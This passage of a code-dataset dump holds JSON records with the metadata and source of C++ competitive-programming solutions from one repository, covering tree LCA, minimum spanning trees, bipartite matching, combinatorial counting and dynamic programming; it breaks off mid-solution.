10, "path": "/COJ/eliogovea-cojAC/eliogovea-p1566-Accepted-s500150.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nlong n;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%ld\",&n) && n)\r\n printf(\"%ld\\n\",n*(n+1)*(2*n+1)/6);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4264069199562073, "alphanum_fraction": 0.4595959484577179, "avg_line_length": 16.546667098999023, "blob_id": "bc48c89867fdb9dd19178b745e636dd0d5e07957", "content_id": "369c2e32ac16b5a2ad57709cb3c9523373122e1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1386, "license_type": "no_license", "max_line_length": 60, "num_lines": 75, "path": "/Timus/1471-7192200.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1471\n// Verdict: Accepted\n\n#pragma comment(linker, \"/STACK:1000000000\")\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\n\r\nint n, a, b, c;\r\nint E = 0;\r\nint last[N];\r\nint to[2 * N];\r\nlong long w[2 * N];\r\nint next[2 * N];\r\nint tin[N];\r\nint tout[N];\r\nint timer;\r\n\r\n\r\nlong long dist[N];\r\nint parent[20][N];\r\n\r\nvoid dfs(int u, int p, long long d) {\r\n\ttin[u] = timer++;\r\n\tdist[u] = d;\r\n\tparent[0][u] = p;\r\n\tfor (int i = 1; i < 18; i++) {\r\n\t\tparent[i][u] = parent[i - 1][parent[i - 1][u]];\r\n\t}\r\n\tfor (int e = last[u]; e != -1; e = next[e]) {\r\n\t\tif (to[e] != p) {\r\n\t\t\tdfs(to[e], u, d + w[e]);\r\n\t\t}\r\n\t}\r\n\ttout[u] = timer++;\r\n}\r\n\r\ninline bool anc(int a, int b) {\r\n\treturn (tin[a] <= tin[b] && tout[b] <= tout[a]);\r\n}\r\n\r\ninline int lca(int a, int b) {\r\n\tif (anc(a, b)) {\r\n\t\treturn a;\r\n\t}\r\n\tfor (int i = 17; i >= 0; i--) {\r\n\t\tif (!anc(parent[i][a], b)) {\r\n\t\t\ta = parent[i][a];\r\n\t\t}\r\n\t}\r\n\treturn parent[0][a];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tlast[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tcin >> a >> b >> c;\r\n\t\tto[E] = b; w[E] = c; next[E] = last[a]; last[a] = E++;\r\n\t\tto[E] = a; w[E] = c; next[E] = last[b]; last[b] = E++;\r\n\t}\r\n\tdfs(0, 0, 0);\r\n\tcin >> c;\r\n\twhile (c--) {\r\n\t\tcin >> a >> b;\r\n\t\tcout << dist[a] + dist[b] - 2LL * dist[lca(a, b)] << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.3192307651042938, "alphanum_fraction": 0.3461538553237915, "avg_line_length": 15, "blob_id": "695e2a07501fe36837cfc68c1cc56c0173e8a205", "content_id": "a908d473927db5522de9ad228bb214a72cc5b2d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 780, "license_type": "no_license", "max_line_length": 37, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2391-Accepted-s1018976.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL solve(LL n) {\r\n if (n == 0LL) {\r\n return 0LL;\r\n }\r\n\r\n LL res = 0LL;\r\n LL x = n / 2LL + 1LL;\r\n if (x <= n) {\r\n res += n - x + 1LL;\r\n }\r\n int y = (n - 1LL) / 3LL;\r\n while (3LL * y + 1LL <= n) {\r\n y++;\r\n }\r\n if (y % 2LL == 0LL) {\r\n y++;\r\n }\r\n if (n % 2LL == 0LL) {\r\n n--;\r\n }\r\n y = (y + 1LL) / 2LL;\r\n n = (n + 1LL) / 2LL;\r\n if (y <= n) {\r\n res += n - y + 1LL;\r\n }\r\n return res;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n int t;\r\n cin >> t;\r\n while (t--) {\r\n int n;\r\n cin >> n;\r\n cout << solve(n) << \"\\n\";\r\n }\r\n}" }, { "alpha_fraction": 0.27450981736183167, "alphanum_fraction": 0.2959001660346985, "avg_line_length": 16.09677505493164, "blob_id": "cbd15eda09a483a90324c45e28cc688fe50a74f4", "content_id": "5accffa53ef56ac030ec115fd95b99cad02d71cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 561, "license_type": "no_license", "max_line_length": 48, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2562-Accepted-s497453.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n)!=EOF)\r\n {\r\n int count=0;\r\n while(n%2==0)\r\n {\r\n count++;\r\n n/=2;\r\n }\r\n\r\n if(count)printf(\"(%d(%d))\",2,count);\r\n for(int i=3; i*i<=n; i+=2)\r\n {\r\n count=0;\r\n while(n%i==0)\r\n {\r\n count++;\r\n n/=i;\r\n }\r\n if(count)printf(\"(%d(%d))\",i,count);\r\n }\r\n if(n>1)printf(\"(%d(1))\",n);\r\n printf(\"\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.354519784450531, "alphanum_fraction": 0.37288135290145874, "avg_line_length": 14.090909004211426, "blob_id": "6832ea6687f498a69b08b446cb493e8dfc36b9bf", "content_id": "69a6605bcdc6f8e2a7aea79dd02915e3c5776e3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 708, "license_type": "no_license", "max_line_length": 37, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p3170-Accepted-s913221.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 15;\r\n\r\nint n, p, x, y;\r\nint g[N][N];\r\n\r\nint dp[1 << N];\r\n\r\nint val[1 << N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> p;\r\n\tfor (int i = 0; i < p; i++) {\r\n\t\tcin >> x >> y;\r\n\t\tx--;\r\n\t\ty--;\r\n\t\tg[x][y]++;\r\n\t\tg[y][x]++;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tval[1 << i] = i;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 1; i < (1 << n); i++) {\r\n\t\tint x = i & -i;\r\n\t\tint y = val[x];\r\n\t\tdp[i] = dp[i - x];\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tdp[i] -= g[y][j];\r\n\t\t\t} else {\r\n\t\t\t\tdp[i] += g[y][j];\r\n\t\t\t}\r\n\t\t}\r\n\t\tans = max(ans, dp[i]);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3689655065536499, "alphanum_fraction": 0.3925287425518036, "avg_line_length": 15.893203735351562, "blob_id": "c586f9fa4b089afa66b01981446e6c8813cb43cc", "content_id": "b9f1373ee6ee3adb0326ab6cc57ecbeb919e3887", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1740, "license_type": "no_license", "max_line_length": 71, "num_lines": 103, "path": "/Codeforces-Gym/101572 - 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)\n// 101572G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200100;\n\nvoid upd_bit( int *BIT, int p, int upd ){\n while( p < MAXN ){\n BIT[p] += upd;\n p += ( p & -p );\n }\n}\n\nint get_bit( int *BIT, int p ){\n int ret = 0;\n\n while( p > 0 ){\n ret += BIT[p];\n p -= ( p & -p );\n }\n\n return ret;\n}\n\nstruct compe{\n int c, p, id, pos;\n\n compe(){}\n\n compe( int _c, int _p, int _id, int _pos ){\n c = _c;\n p = _p;\n id = _id;\n pos = _pos;\n }\n\n bool operator < ( const compe &o ) const {\n if( c != o.c ){\n return c > o.c;\n }\n if( p != o.p ){\n return p < o.p;\n }\n\n return id < o.id;\n }\n};\n\ncompe x[MAXN];\n\nint qt[MAXN];\nint qp[MAXN];\n\nint c[MAXN], p[MAXN];\nint ord[MAXN];\n\nint BIT[MAXN];\nint now[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n for( int i = 1; i <= n; i++ ){\n x[i] = compe( 0 , 0 , i , i );\n }\n\n for( int i = 1; i <= m; i++ ){\n cin >> qt[i] >> qp[i];\n int u = qt[i];\n c[u]++;\n p[u] += qp[i];\n\n x[n+i] = compe( c[u] , p[u] , u , i+n );\n }\n\n sort( x+1 , x+1+n+m );\n\n for( int i = 1; i <= n + m; i++ ){\n ord[ x[i].pos ] = i;\n }\n\n for( int i = 1; i <= n; i++ ){\n upd_bit( BIT , ord[i] , 1 );\n now[i] = ord[i];\n }\n\n for( int i = 1; i <= m; i++ ){\n int u = qt[i];\n upd_bit( BIT , now[u] , -1 );\n now[u] = ord[n+i];\n upd_bit( BIT , now[u] , 1 );\n\n cout << get_bit( BIT , now[1] ) << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.321035236120224, "alphanum_fraction": 0.3601321578025818, "avg_line_length": 18.636363983154297, "blob_id": "65a95a0a80052ee0729fb8a01ee76576ee66eb93", "content_id": "887d08431f1d34aba81b644c5cc7799c788b32f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1816, "license_type": "no_license", "max_line_length": 92, "num_lines": 88, "path": "/COJ/eliogovea-cojAC/eliogovea-p3569-Accepted-s994774.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline int value(char ch) {\r\n\tif (ch == 'M') {\r\n\t\treturn 1;\r\n\t}\r\n\tif (ch == 'F') {\r\n\t\treturn 2;\r\n\t}\r\n\tif (ch == 'B') {\r\n\t\treturn 3;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nint n;\r\nstring s;\r\nint dp[2 + 1][4 * 4 + 1][4 * 4 + 1];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//assert(freopen(\"dat.txt\", \"r\", stdin));\r\n\tcin >> n >> s;\r\n\tint cur = 0;\r\n\tfor (int x = 0; x < 4 * 4; x++) {\r\n\t\tfor (int y = 0; y < 4 * 4; y++) {\r\n\t\t\tdp[cur][x][y] = -1;\r\n\t\t}\r\n\t}\r\n\tdp[0][0][0] = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint v = value(s[i]);\r\n\t\tassert(1 <= v && v <= 3);\r\n\t\tint next = cur ^ 1;\r\n\t\tfor (int x = 0; x < 4 * 4; x++) {\r\n\t\t\tfor (int y = 0; y < 4 * 4; y++) {\r\n\t\t\t\tdp[next][x][y] = -1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int x = 0; x < 4 * 4; x++) {\r\n\t\t\tfor (int y = 0; y < 4 * 4; y++) {\r\n\t\t\t\tif (dp[cur][x][y] != -1) {\r\n \t\t\t\t\t/// 1\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tbool used[] = {false, false, false, false};\r\n\t\t\t\t\t\tused[x / 4] = true;\r\n\t\t\t\t\t\tused[x % 4] = true;\r\n\t\t\t\t\t\tused[v] = true;\r\n\t\t\t\t\t\tint cnt = 0;\r\n\t\t\t\t\t\tfor (int p = 1; p < 4; p++) {\r\n\t\t\t\t\t\t\tif (used[p]) {\r\n\t\t\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tdp[next][4 * (x % 4) + v][y] = max(dp[next][4 * (x % 4) + v][y], dp[cur][x][y] + cnt);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t/// 2\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tbool used[] = {false, false, false, false};\r\n\t\t\t\t\t\tused[y / 4] = true;\r\n\t\t\t\t\t\tused[y % 4] = true;\r\n\t\t\t\t\t\tused[v] = true;\r\n\t\t\t\t\t\tint cnt = 0;\r\n\t\t\t\t\t\tfor (int p = 1; p < 4; p++) {\r\n\t\t\t\t\t\t\tif (used[p]) {\r\n\t\t\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tdp[next][x][4 * (y % 4) + v] = max(dp[next][x][4 * (y % 4) + v], dp[cur][x][y] + cnt);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcur = next;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int x = 0; x < 4 * 4; x++) {\r\n\t\tfor (int y = 0; y < 4 * 4; y++) {\r\n\t\t\tif (dp[cur][x][y] != -1) {\r\n\t\t\t\tans = max(ans, dp[cur][x][y]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.273649662733078, "alphanum_fraction": 0.29901522397994995, "avg_line_length": 18.48255729675293, "blob_id": "8beac9d03a04bc28672859315e87da87864a8022", "content_id": "31b8e43fde94795bb01547be2b6aa2e90a22f3be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3351, "license_type": "no_license", "max_line_length": 75, "num_lines": 172, "path": "/COJ/eliogovea-cojAC/eliogovea-p3174-Accepted-s1285578.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n a += b;\n if (a >= M) {\n a -= M;\n }\n}\n\ninline int mul(int a, int b) {\n return (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = mul(y, x);\n }\n x = mul(x, x);\n n >>= 1;\n }\n return y;\n}\n\ninline int inverse(int x) {\n return power(x, M - 2);\n}\n\nconst int N = 1000 * 1000 + 10;\n\nint fact[N];\nint invFact[N];\n\nint phi[N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n int k;\n cin >> k;\n\n vector <int> cnt(k);\n\n int n = 0;\n int g = 0;\n int o = 0;\n\n for (auto & x : cnt) {\n cin >> x;\n n += x;\n g = __gcd(g, x);\n if (x & 1) {\n o++;\n }\n }\n\n fact[0] = 1;\n for (int i = 1; i <= n; i++) {\n fact[i] = mul(fact[i - 1], i);\n }\n invFact[n] = power(fact[n], M - 2);\n for (int i = n - 1; i >= 0; i--) {\n invFact[i] = mul(invFact[i + 1], i + 1);\n assert(mul(fact[i], invFact[i]) == 1);\n }\n\n for (int i = 1; i <= n; i++) {\n phi[i] = i;\n }\n for (int i = 2; i <= n; i++) {\n if (phi[i] == i) {\n for (int j = i; j <= n; j += i) {\n phi[j] -= phi[j] / i;\n }\n }\n }\n\n // rotaciones\n\n int rot = 0;\n for (int d = 1; d <= n; d++) {\n if (n % d == 0) {\n int c = n / d;\n if (g % c == 0) {\n int t = fact[d];\n for (auto x : cnt) {\n t = mul(t, invFact[x / c]);\n }\n t = mul(t, phi[c]);\n add(rot, t);\n }\n }\n }\n\n // reflexiones\n\n int ref = 0;\n if (n & 1) {\n if (o == 1) {\n int t = 0;\n for (auto x : cnt) {\n t += x / 2;\n }\n t = fact[t];\n for (auto x : cnt) {\n t = mul(t, invFact[x / 2]);\n }\n t = mul(t, n);\n add(ref, t);\n }\n } else {\n if (o == 2) {\n int t = 0;\n for (auto x : cnt) {\n t += x / 2;\n }\n t = mul(fact[t], 2);\n for (auto x : cnt) {\n t = mul(t, invFact[x / 2]);\n }\n t = mul(t, n / 2);\n add(ref, t);\n } else if (o == 0) {\n int t = 0;\n {\n int t1 = 0;\n int v = fact[(n - 2) / 2];\n for (auto x : cnt) {\n v = mul(v, invFact[x / 2]);\n }\n for (auto x : cnt) {\n int w = mul(v, mul(fact[x / 2], invFact[(x - 2) / 2]));\n add(t1, w);\n }\n\n t1 = mul(t1, n / 2);\n\n add(t, t1);\n\n }\n\n {\n int t2 = fact[n / 2];\n for (auto x : cnt) {\n t2 = mul(t2, invFact[x / 2]);\n }\n\n t2 = mul(t2, n / 2);\n \n add(t, t2);\n }\n\n add(ref, t);\n }\n }\n\n int tot = rot + ref;\n if (tot >= M) {\n tot -= M;\n }\n\n tot = mul(tot, inverse(2 * n));\n\n cout << tot << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.4720670282840729, "alphanum_fraction": 0.47974860668182373, "avg_line_length": 15.679012298583984, "blob_id": "0a5f4976949e3cca7423b9b125a24f9d1310e6bb", "content_id": "5d91f377b596b2e611555f385a16414662b3e789", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1432, "license_type": "no_license", "max_line_length": 73, "num_lines": 81, "path": "/COJ/eliogovea-cojAC/eliogovea-p2738-Accepted-s587781.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <cmath>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 510;\r\n\r\nstruct pt\r\n{\r\n\tint x, y;\r\n}pts[MAXN];\r\n\r\nstruct edge\r\n{\r\n\tint i, f;\r\n\tdouble\tc;\r\n\tbool operator < (const edge &o) const\r\n\t{\r\n\t\treturn c < o.c;\r\n\t}\r\n};\r\n\r\nvector<edge> edges;\r\n\r\nint n, m, p[MAXN], rank[MAXN];\r\n\r\nvoid make(int x)\r\n{\r\n\tp[x] = x;\r\n\trank[x] = 0;\r\n}\r\n\r\nint find(int x)\r\n{\r\n\tif (x != p[x]) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\nbool join(int x, int y)\r\n{\r\n\tint px = find(x), py = find(y);\r\n\tif (px == py) return false;\r\n\tif (rank[px] > rank[py]) p[py] = px;\r\n\telse if (rank[py] > rank[px]) p[px] = py;\r\n\telse p[px] = py, rank[py]++;\r\n\treturn true;\r\n}\r\n\r\ndouble dist(int i, int j)\r\n{\r\n\treturn sqrt((pts[i].x - pts[j].x) * (pts[i].x - pts[j].x)\r\n\t\t\t\t+ (pts[i].y - pts[j].y) * (pts[i].y - pts[j].y));\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0, a, b, c; i < n; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\tpts[a] = (pt) {b, c};\r\n\t\tmake(a);\r\n\t}\r\n\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j < i; j++)\r\n\t\t\tedges.push_back((edge) {i, j, dist(i, j)});\r\n\tscanf(\"%d\", &m);\r\n\tdouble sol = 0.0;\r\n\tfor (int i = 0, a, b; i < m; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tjoin(a, b);\r\n\t\tsol += dist(a, b);\r\n\t}\r\n\tsort(edges.begin(), edges.end());\r\n\tfor (vector<edge>::iterator it = edges.begin(); it != edges.end(); it++)\r\n\t\tif (join(it->i, it->f)) sol += it->c;\r\n\tprintf(\"%.2lf\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.4673328101634979, "alphanum_fraction": 0.4900076985359192, "avg_line_length": 20.86554527282715, "blob_id": "cdc79e7d5acd96cb217e419fc2c8930f9f69b99f", "content_id": "b76597295c244f9df303b7101f27a28b6474e836", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2602, "license_type": "no_license", "max_line_length": 125, "num_lines": 119, "path": "/Codeforces-Gym/100497 - 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)\n// 100497I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 300005;\n\nstruct pt {\n\tint x, y, f, id;\n};\n\nbool operator < (const pt &a, const pt &b) {\n\tif (a.x != b.x) {\n\t\treturn a.x < b.x;\n\t}\n\tif (a.y != b.y) {\n\t\treturn a.y < b.y;\n\t}\n\treturn a.id < b.id;\n}\n\nbool cmp(const pt &a, const pt &b) {\n return a.id < b.id;\n}\n\n\nint n, k;\npt pts[N];\n\nint dp[N];\nint trace[N];\n\nint X, Y;\n\nmap <int, pair <int, int> > fila, col;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> k;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> pts[i].x >> pts[i].y >> pts[i].f;\n\t\tpts[i].id = i;\n\t\tdp[i] = -1;\n\t\ttrace[i] = -1;\n\t}\n\tX = pts[0].x;\n\tY = pts[0].y;\n\tdp[0] = pts[0].f;\n\tfila[pts[0].y] = col[pts[0].x] = make_pair(pts[0].id, pts[0].f);\n\tsort(pts, pts + n);\n\tfor (int i = 0; i < n; i++) {\n\t\tif (pts[i].id == 0) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (pts[i].x < X || pts[i].y < Y) {\n\t\t\tcontinue;\n\t\t}\n\t\tmap <int, pair <int, int> >::iterator a = fila.find(pts[i].y);\n\t\tmap <int, pair <int, int> >::iterator b = col.find(pts[i].x);\n\t\tif (a == fila.end() && b == col.end()) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (a == fila.end() && b != col.end()) {\n\t\t\tint pos = b->second.first;\n\t\t\tint val = b->second.second;\n\t\t\tif (val >= k) {\n\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\n\t\t\t\ttrace[pts[i].id] = pos;\n\t\t\t}\n\t\t}\n\t\tif (a != fila.end() && b == col.end()) {\n\t\t\tint pos = a->second.first;\n\t\t\tint val = a->second.second;\n\t\t\tif (val >= k) {\n\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\n\t\t\t\ttrace[pts[i].id] = pos;\n\t\t\t}\n\t\t}\n\t\tif (a != fila.end() && b != fila.end()) {\n\t\t\tif (a->second.second > b->second.second) {\n\t\t\t\tint pos = a->second.first;\n\t\t\t\tint val = a->second.second;\n\t\t\t\tif (val >= k) {\n\t\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\n\t\t\t\t\ttrace[pts[i].id] = pos;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tint pos = b->second.first;\n\t\t\t\tint val = b->second.second;\n\t\t\t\tif (val >= k) {\n\t\t\t\t\tdp[pts[i].id] = val - k + pts[i].f;\n\t\t\t\t\ttrace[pts[i].id] = pos;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (a == fila.end() || a->second.second < dp[pts[i].id]) {\n\t\t\tfila[pts[i].y] = make_pair(pts[i].id, dp[pts[i].id]);\n\t\t}\n\t\tif (b == col.end() || b->second.second < dp[pts[i].id]) {\n\t\t\tcol[pts[i].x] = make_pair(pts[i].id, dp[pts[i].id]);\n\t\t}\n\t}\n\tcout << dp[n - 1] << \"\\n\";\n\tint cur = n - 1;\n\tvector <int> ans;\n\twhile (cur != -1) {\n\t\tans.push_back(cur);\n\t\tcur = trace[cur];\n\t}\n\tassert(ans.back() == 0);\n\tsort(pts, pts + n, cmp);\n\tcout << ans.size() << \"\\n\";\n\tfor (int i = ans.size() - 1; i >= 0; i--) {\n\t\tcout << pts[ans[i]].x << \" \" << pts[ans[i]].y << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.41363635659217834, "alphanum_fraction": 0.48636364936828613, "avg_line_length": 17.130434036254883, "blob_id": "5af6bb98ffb22761b6455b88209e47fc2ecce216", "content_id": "0e32f0b80a97a514dbf9d6df169db7b722457b39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 440, "license_type": "no_license", "max_line_length": 46, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1791-Accepted-s494541.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nconst double PI = 3.141592653589793116;\r\n\r\nint n;\r\ndouble sol,r[1001];\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n for(int i=1; i<=n; i++)scanf(\"%lf\",&r[i]);\r\n sort(r+1,r+n+1);\r\n for(int i=1; i<=n; i++)\r\n {\r\n if(i&1)sol+=r[i]*r[i];\r\n else sol-=r[i]*r[i];\r\n }\r\n if(!(n&1))sol*=-1;\r\n printf(\"%.4lf\\n\",PI*sol);\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.42868921160697937, "alphanum_fraction": 0.44517725706100464, "avg_line_length": 18.559322357177734, "blob_id": "c7a0caaa7cbd18c07ea4ea9bb2aacade1cea35cd", "content_id": "5ddebf8d0c75d72d0fc541575a74fc7b5d2b0710", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1213, "license_type": "no_license", "max_line_length": 44, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2606-Accepted-s671082.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 105;\r\n\r\nint n, hor[MAXN][MAXN], ver[MAXN][MAXN];\r\nstring s[MAXN];\r\nvector<int> G[MAXN * MAXN];\r\nint match[MAXN * MAXN];\r\nint used[MAXN * MAXN], mk;\r\n\r\nbool kuhn(int u) {\r\n\tif (used[u] == mk) return false;\r\n\tused[u] = mk;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint to = G[u][i];\r\n\t\tif (match[to] == -1 || kuhn(match[to])) {\r\n\t\t\tmatch[to] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) cin >> s[i];\r\n\tint id = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (s[i][j] == 'X') id++;\r\n\t\t\telse hor[i][j] = id;\r\n\t\tid++;\r\n\t}\r\n\tint cnt = id;\r\n\tid = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (s[j][i] == 'X') id++;\r\n\t\t\telse ver[j][i] = id;\r\n\t\tid++;\r\n\t}\r\n\tfor (int i = 0; i < id; i++) match[i] = -1;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (s[i][j] == '.')\r\n\t\t\t\tG[hor[i][j]].push_back(ver[i][j]);\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < cnt; i++)\r\n\t\tif (G[i].size()) {\r\n\t\t\tmk++;\r\n\t\t\tif (kuhn(i)) ans++;\r\n\t\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4092664122581482, "alphanum_fraction": 0.4382239282131195, "avg_line_length": 13.235294342041016, "blob_id": "73ecba9046ea7bbaa6f7b7a1c0d739da1b0fc2f4", "content_id": "2e8dfba5c8764f95d35b56d04f1a4f112ae90ae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 518, "license_type": "no_license", "max_line_length": 34, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3723-Accepted-s1009561.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nint t;\r\nint n;\r\nint k;\r\nint a;\r\nint cnt[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> k;\r\n\t\tfor (int i = 0; i < k; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tcnt[0] = 1;\r\n\t\tint cur = 0;\r\n\t\tlong long ans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a;\r\n\t\t\tcur = (cur + a) % k;\r\n\t\t\tans += 